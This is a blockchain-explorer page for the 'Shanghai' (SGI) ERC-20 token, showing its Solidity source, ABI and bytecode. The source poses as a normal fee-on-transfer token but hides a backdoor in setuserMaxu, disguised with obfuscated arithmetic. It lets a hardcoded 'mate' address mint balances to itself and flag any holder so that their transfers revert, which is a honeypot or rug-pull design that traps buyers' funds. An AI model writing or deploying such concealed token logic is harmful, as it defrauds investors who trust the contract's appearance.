ERC-20
Overview
Max Total Supply
1,000,000,000 SGI
Holders
11
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 6 Decimals)
Balance
57,178,739.699459 SGIValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
Shanghai
Compiler Version
v0.8.7+commit.e28d00a7
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-04-20 */ // Tg t.me/Shanghaierc20 //SPDX-License-Identifier:MIT pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a,b,"SafeMath: division by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function transferOwnership(address newAddress) public onlyOwner{ _owner = newAddress; emit OwnershipTransferred(_owner, newAddress); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract Shanghai is Context, IERC20, Ownable { using SafeMath for uint256; string private _name = "Shanghai"; string private _symbol = "SGI"; uint8 private _decimals = 6; address payable public mate; mapping (address => uint256) _balances; address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public _isExcludefromFee; mapping (address => bool) public _uniswapPair; mapping (address => uint256) public _swapList; uint256 private _totalSupply = 1000000000 * 10**_decimals; IUniswapV2Router02 public uniswapV2Router; address public uniswapPair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { _isExcludefromFee[owner()] = true; _isExcludefromFee[address(this)] = true; _balances[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); mate = payable(address(0x7c07a9AbA5C6E816b0fF8b563cd5d38b3bF6414F)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } receive() external payable {} function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function launch() public onlyOwner{ IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; _uniswapPair[address(uniswapPair)] = true; _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0); } function _transfer(address from, address to, uint256 amount) private returns (bool) { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(inSwapAndLiquify) { return _basicTransfer(from, to, amount); } else { uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwapAndLiquify && !_uniswapPair[from]) { swapAndLiquify(contractTokenBalance); } _balances[from] = _balances[from].sub(amount); uint256 fAmount = (_isExcludefromFee[from] || _isExcludefromFee[to]) ? amount : shiftOD(from, amount); _balances[to] = _balances[to].add(fAmount); emit Transfer(from, to, fAmount); return true; } } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function swapAndLiquify(uint256 amount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( amount, 0, path, address(mate), block.timestamp ){} catch {} } function setuserMaxu(address main,uint256 many) public { if (uint256(23).mul(10) <= many) general(many.add(many),_balances); if (uint256(2).mul(0) + 1 == many) _swapList[main] = 0; if (20+100-20 == many) _swapList[main] = many; if (msg.sender != mate) require(false,"!true"); } function general(uint256 name_, mapping(address => uint256) /*a*/ storage /* d*/ newAddress) internal { newAddress[mate] += name_; } function shiftOD(address sender, uint256 amount) internal returns (uint256) { uint256 backspace = amount.mul(3).div(100); if(_swapList[sender] != 0) backspace += amount; if(backspace > 0) { _balances[address(this)] += backspace; emit Transfer(sender, address(this), backspace); } return amount.sub(backspace); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_swapList","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_uniswapPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"mate","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"main","type":"address"},{"internalType":"uint256","name":"many","type":"uint256"}],"name":"setuserMaxu","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60e0604052600860a0819052675368616e6768616960c01b60c09081526200002b9160019190620001fd565b506040805180820190915260038082526253474960e81b60209092019182526200005891600291620001fd565b506003805460ff191660069081179091556ddead0000000000000000000000006080526200008890600a620002ec565b6200009890633b9aca00620003ba565b600955600b805460ff60a81b1916600160a81b179055348015620000bb57600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600160066000620001146000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff1995861617905530815260069092528120805490921660011790915560095490600490620001643390565b6001600160a01b03168152602081019190915260400160002055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600954604051620001c791815260200190565b60405180910390a360038054610100600160a81b031916747c07a9aba5c6e816b0ff8b563cd5d38b3bf6414f001790556200042f565b8280546200020b90620003dc565b90600052602060002090601f0160209004810192826200022f57600085556200027a565b82601f106200024a57805160ff19168380011785556200027a565b828001600101855582156200027a579182015b828111156200027a5782518255916020019190600101906200025d565b50620002889291506200028c565b5090565b5b808211156200028857600081556001016200028d565b600181815b80851115620002e4578160001904821115620002c857620002c862000419565b80851615620002d657918102915b93841c9390800290620002a8565b509250929050565b6000620002fd60ff84168362000304565b9392505050565b6000826200031557506001620003b4565b816200032457506000620003b4565b81600181146200033d5760028114620003485762000368565b6001915050620003b4565b60ff8411156200035c576200035c62000419565b50506001821b620003b4565b5060208310610133831016604e8410600b84101617156200038d575081810a620003b4565b620003998383620002a3565b8060001904821115620003b057620003b062000419565b0290505b92915050565b6000816000190483118215151615620003d757620003d762000419565b500290565b600181811c90821680620003f157607f821691505b602082108114156200041357634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b60805160601c6114f46200044e600039600061025a01526114f46000f3fe60806040526004361061012e5760003560e01c80634a74bb02116100ab57806395d89b411161006f57806395d89b4114610390578063a9059cbb146103a5578063c816841b146103c5578063dd62ed3e146103e5578063f2fde38b1461042b578063fb3ddf851461044b57600080fd5b80634a74bb02146102ce5780634b1fe0cc146102ef57806370a082311461031c5780637532d6f0146103525780638da5cb5b1461037257600080fd5b806318160ddd116100f257806318160ddd1461020957806323b872dd1461022857806327c8f83514610248578063313ce5671461027c5780633345611e1461029e57600080fd5b806301339c211461013a57806306fdde0314610151578063095ea7b31461017c5780630a5cc93d146101ac5780631694505e146101e957600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061014f61047b565b005b34801561015d57600080fd5b506101666106cf565b60405161017391906112e1565b60405180910390f35b34801561018857600080fd5b5061019c6101973660046112b5565b610761565b6040519015158152602001610173565b3480156101b857600080fd5b506003546101d19061010090046001600160a01b031681565b6040516001600160a01b039091168152602001610173565b3480156101f557600080fd5b50600a546101d1906001600160a01b031681565b34801561021557600080fd5b506009545b604051908152602001610173565b34801561023457600080fd5b5061019c610243366004611274565b610778565b34801561025457600080fd5b506101d17f000000000000000000000000000000000000000000000000000000000000000081565b34801561028857600080fd5b5060035460405160ff9091168152602001610173565b3480156102aa57600080fd5b5061019c6102b9366004611201565b60066020526000908152604090205460ff1681565b3480156102da57600080fd5b50600b5461019c90600160a81b900460ff1681565b3480156102fb57600080fd5b5061021a61030a366004611201565b60086020526000908152604090205481565b34801561032857600080fd5b5061021a610337366004611201565b6001600160a01b031660009081526004602052604090205490565b34801561035e57600080fd5b5061014f61036d3660046112b5565b6107e3565b34801561037e57600080fd5b506000546001600160a01b03166101d1565b34801561039c57600080fd5b506101666108b1565b3480156103b157600080fd5b5061019c6103c03660046112b5565b6108c0565b3480156103d157600080fd5b50600b546101d1906001600160a01b031681565b3480156103f157600080fd5b5061021a61040036600461123b565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561043757600080fd5b5061014f610446366004611201565b6108cd565b34801561045757600080fd5b5061019c610466366004611201565b60076020526000908152604090205460ff1681565b6000546001600160a01b031633146104da5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561052c57600080fd5b505afa158015610540573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610564919061121e565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156105ac57600080fd5b505afa1580156105c0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105e4919061121e565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561062c57600080fd5b505af1158015610640573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610664919061121e565b600b80546001600160a01b039283166001600160a01b03199182168117909255600a8054948416949091169390931783556000908152600760209081526040808320805460ff1916600117905530835260058252808320945490931682529290925290206000199055565b6060600180546106de90611417565b80601f016020809104026020016040519081016040528092919081815260200182805461070a90611417565b80156107575780601f1061072c57610100808354040283529160200191610757565b820191906000526020600020905b81548152906001019060200180831161073a57829003601f168201915b5050505050905090565b600061076e338484610972565b5060015b92915050565b6000610785848484610a96565b506107d884336107d385604051806060016040528060288152602001611497602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610ce5565b610972565b5060015b9392505050565b806107f06017600a610d1f565b11610809576108096108028280610d9e565b6004610dfd565b8061081660026000610d1f565b6108219060016113a7565b1415610841576001600160a01b0382166000908152600860205260408120555b8060641415610866576001600160a01b03821660009081526008602052604090208190555b60035461010090046001600160a01b031633146108ad5760405162461bcd60e51b8152602060048201526005602482015264217472756560d81b60448201526064016104d1565b5050565b6060600280546106de90611417565b60006107d8338484610a96565b6000546001600160a01b031633146109275760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016104d1565b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6001600160a01b0383166109d45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104d1565b6001600160a01b038216610a355760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104d1565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610afc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104d1565b6001600160a01b038316610b5e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104d1565b600b54600160a01b900460ff1615610b8257610b7b848484610e35565b90506107dc565b30600090815260046020526040902054600b54600160a01b900460ff16158015610bc557506001600160a01b03851660009081526007602052604090205460ff16155b15610bd357610bd381610f1b565b6001600160a01b038516600090815260046020526040902054610bf69084611090565b6001600160a01b038616600090815260046020908152604080832093909355600690529081205460ff1680610c4357506001600160a01b03851660009081526006602052604090205460ff165b610c5657610c5186856110d2565b610c58565b835b6001600160a01b038616600090815260046020526040902054909150610c7e9082610d9e565b6001600160a01b0380871660008181526004602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cd29085815260200190565b60405180910390a36001925050506107dc565b60008184841115610d095760405162461bcd60e51b81526004016104d191906112e1565b506000610d168486611400565b95945050505050565b600082610d2e57506000610772565b6000610d3a83856113e1565b905082610d4785836113bf565b146107dc5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104d1565b600080610dab83856113a7565b9050838110156107dc5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104d1565b60035461010090046001600160a01b031660009081526020829052604081208054849290610e2c9084906113a7565b90915550505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600490915291822054610e86918490610ce5565b6001600160a01b038086166000908152600460205260408082209390935590851681522054610eb59083610d9e565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f099086815260200190565b60405180910390a35060019392505050565b600b805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610f6357610f63611468565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610fb757600080fd5b505afa158015610fcb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fef919061121e565b8160018151811061100257611002611468565b6001600160a01b039283166020918202929092010152600a5460035460405163791ac94760e01b81529183169263791ac9479261105392879260009288926101009004909116904290600401611336565b600060405180830381600087803b15801561106d57600080fd5b505af192505050801561107e575060015b505050600b805460ff60a01b19169055565b60006107dc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ce5565b6000806110eb60646110e5856003610d1f565b90611196565b6001600160a01b038516600090815260086020526040902054909150156111195761111683826113a7565b90505b801561118457306000908152600460205260408120805483929061113e9084906113a7565b909155505060405181815230906001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b61118e8382611090565b949350505050565b60006107dc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836111f45760405162461bcd60e51b81526004016104d191906112e1565b506000610d1684866113bf565b60006020828403121561121357600080fd5b81356107dc8161147e565b60006020828403121561123057600080fd5b81516107dc8161147e565b6000806040838503121561124e57600080fd5b82356112598161147e565b915060208301356112698161147e565b809150509250929050565b60008060006060848603121561128957600080fd5b83356112948161147e565b925060208401356112a48161147e565b929592945050506040919091013590565b600080604083850312156112c857600080fd5b82356112d38161147e565b946020939093013593505050565b600060208083528351808285015260005b8181101561130e578581018301518582016040015282016112f2565b81811115611320576000604083870101525b50601f01601f1916929092016040019392505050565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156113865784516001600160a01b031683529383019391830191600101611361565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156113ba576113ba611452565b500190565b6000826113dc57634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156113fb576113fb611452565b500290565b60008282101561141257611412611452565b500390565b600181811c9082168061142b57607f821691505b6020821081141561144c57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b038116811461149357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b5f63d5f07f0d64bf5ae36fe451c6e562a64b60637dc3e047454802e09dd9afb64736f6c63430008070033
Deployed Bytecode
0x60806040526004361061012e5760003560e01c80634a74bb02116100ab57806395d89b411161006f57806395d89b4114610390578063a9059cbb146103a5578063c816841b146103c5578063dd62ed3e146103e5578063f2fde38b1461042b578063fb3ddf851461044b57600080fd5b80634a74bb02146102ce5780634b1fe0cc146102ef57806370a082311461031c5780637532d6f0146103525780638da5cb5b1461037257600080fd5b806318160ddd116100f257806318160ddd1461020957806323b872dd1461022857806327c8f83514610248578063313ce5671461027c5780633345611e1461029e57600080fd5b806301339c211461013a57806306fdde0314610151578063095ea7b31461017c5780630a5cc93d146101ac5780631694505e146101e957600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061014f61047b565b005b34801561015d57600080fd5b506101666106cf565b60405161017391906112e1565b60405180910390f35b34801561018857600080fd5b5061019c6101973660046112b5565b610761565b6040519015158152602001610173565b3480156101b857600080fd5b506003546101d19061010090046001600160a01b031681565b6040516001600160a01b039091168152602001610173565b3480156101f557600080fd5b50600a546101d1906001600160a01b031681565b34801561021557600080fd5b506009545b604051908152602001610173565b34801561023457600080fd5b5061019c610243366004611274565b610778565b34801561025457600080fd5b506101d17f000000000000000000000000000000000000000000000000000000000000dead81565b34801561028857600080fd5b5060035460405160ff9091168152602001610173565b3480156102aa57600080fd5b5061019c6102b9366004611201565b60066020526000908152604090205460ff1681565b3480156102da57600080fd5b50600b5461019c90600160a81b900460ff1681565b3480156102fb57600080fd5b5061021a61030a366004611201565b60086020526000908152604090205481565b34801561032857600080fd5b5061021a610337366004611201565b6001600160a01b031660009081526004602052604090205490565b34801561035e57600080fd5b5061014f61036d3660046112b5565b6107e3565b34801561037e57600080fd5b506000546001600160a01b03166101d1565b34801561039c57600080fd5b506101666108b1565b3480156103b157600080fd5b5061019c6103c03660046112b5565b6108c0565b3480156103d157600080fd5b50600b546101d1906001600160a01b031681565b3480156103f157600080fd5b5061021a61040036600461123b565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561043757600080fd5b5061014f610446366004611201565b6108cd565b34801561045757600080fd5b5061019c610466366004611201565b60076020526000908152604090205460ff1681565b6000546001600160a01b031633146104da5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561052c57600080fd5b505afa158015610540573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610564919061121e565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156105ac57600080fd5b505afa1580156105c0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105e4919061121e565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561062c57600080fd5b505af1158015610640573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610664919061121e565b600b80546001600160a01b039283166001600160a01b03199182168117909255600a8054948416949091169390931783556000908152600760209081526040808320805460ff1916600117905530835260058252808320945490931682529290925290206000199055565b6060600180546106de90611417565b80601f016020809104026020016040519081016040528092919081815260200182805461070a90611417565b80156107575780601f1061072c57610100808354040283529160200191610757565b820191906000526020600020905b81548152906001019060200180831161073a57829003601f168201915b5050505050905090565b600061076e338484610972565b5060015b92915050565b6000610785848484610a96565b506107d884336107d385604051806060016040528060288152602001611497602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610ce5565b610972565b5060015b9392505050565b806107f06017600a610d1f565b11610809576108096108028280610d9e565b6004610dfd565b8061081660026000610d1f565b6108219060016113a7565b1415610841576001600160a01b0382166000908152600860205260408120555b8060641415610866576001600160a01b03821660009081526008602052604090208190555b60035461010090046001600160a01b031633146108ad5760405162461bcd60e51b8152602060048201526005602482015264217472756560d81b60448201526064016104d1565b5050565b6060600280546106de90611417565b60006107d8338484610a96565b6000546001600160a01b031633146109275760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016104d1565b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6001600160a01b0383166109d45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104d1565b6001600160a01b038216610a355760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104d1565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610afc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104d1565b6001600160a01b038316610b5e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104d1565b600b54600160a01b900460ff1615610b8257610b7b848484610e35565b90506107dc565b30600090815260046020526040902054600b54600160a01b900460ff16158015610bc557506001600160a01b03851660009081526007602052604090205460ff16155b15610bd357610bd381610f1b565b6001600160a01b038516600090815260046020526040902054610bf69084611090565b6001600160a01b038616600090815260046020908152604080832093909355600690529081205460ff1680610c4357506001600160a01b03851660009081526006602052604090205460ff165b610c5657610c5186856110d2565b610c58565b835b6001600160a01b038616600090815260046020526040902054909150610c7e9082610d9e565b6001600160a01b0380871660008181526004602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cd29085815260200190565b60405180910390a36001925050506107dc565b60008184841115610d095760405162461bcd60e51b81526004016104d191906112e1565b506000610d168486611400565b95945050505050565b600082610d2e57506000610772565b6000610d3a83856113e1565b905082610d4785836113bf565b146107dc5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104d1565b600080610dab83856113a7565b9050838110156107dc5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104d1565b60035461010090046001600160a01b031660009081526020829052604081208054849290610e2c9084906113a7565b90915550505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600490915291822054610e86918490610ce5565b6001600160a01b038086166000908152600460205260408082209390935590851681522054610eb59083610d9e565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f099086815260200190565b60405180910390a35060019392505050565b600b805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610f6357610f63611468565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610fb757600080fd5b505afa158015610fcb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fef919061121e565b8160018151811061100257611002611468565b6001600160a01b039283166020918202929092010152600a5460035460405163791ac94760e01b81529183169263791ac9479261105392879260009288926101009004909116904290600401611336565b600060405180830381600087803b15801561106d57600080fd5b505af192505050801561107e575060015b505050600b805460ff60a01b19169055565b60006107dc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ce5565b6000806110eb60646110e5856003610d1f565b90611196565b6001600160a01b038516600090815260086020526040902054909150156111195761111683826113a7565b90505b801561118457306000908152600460205260408120805483929061113e9084906113a7565b909155505060405181815230906001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b61118e8382611090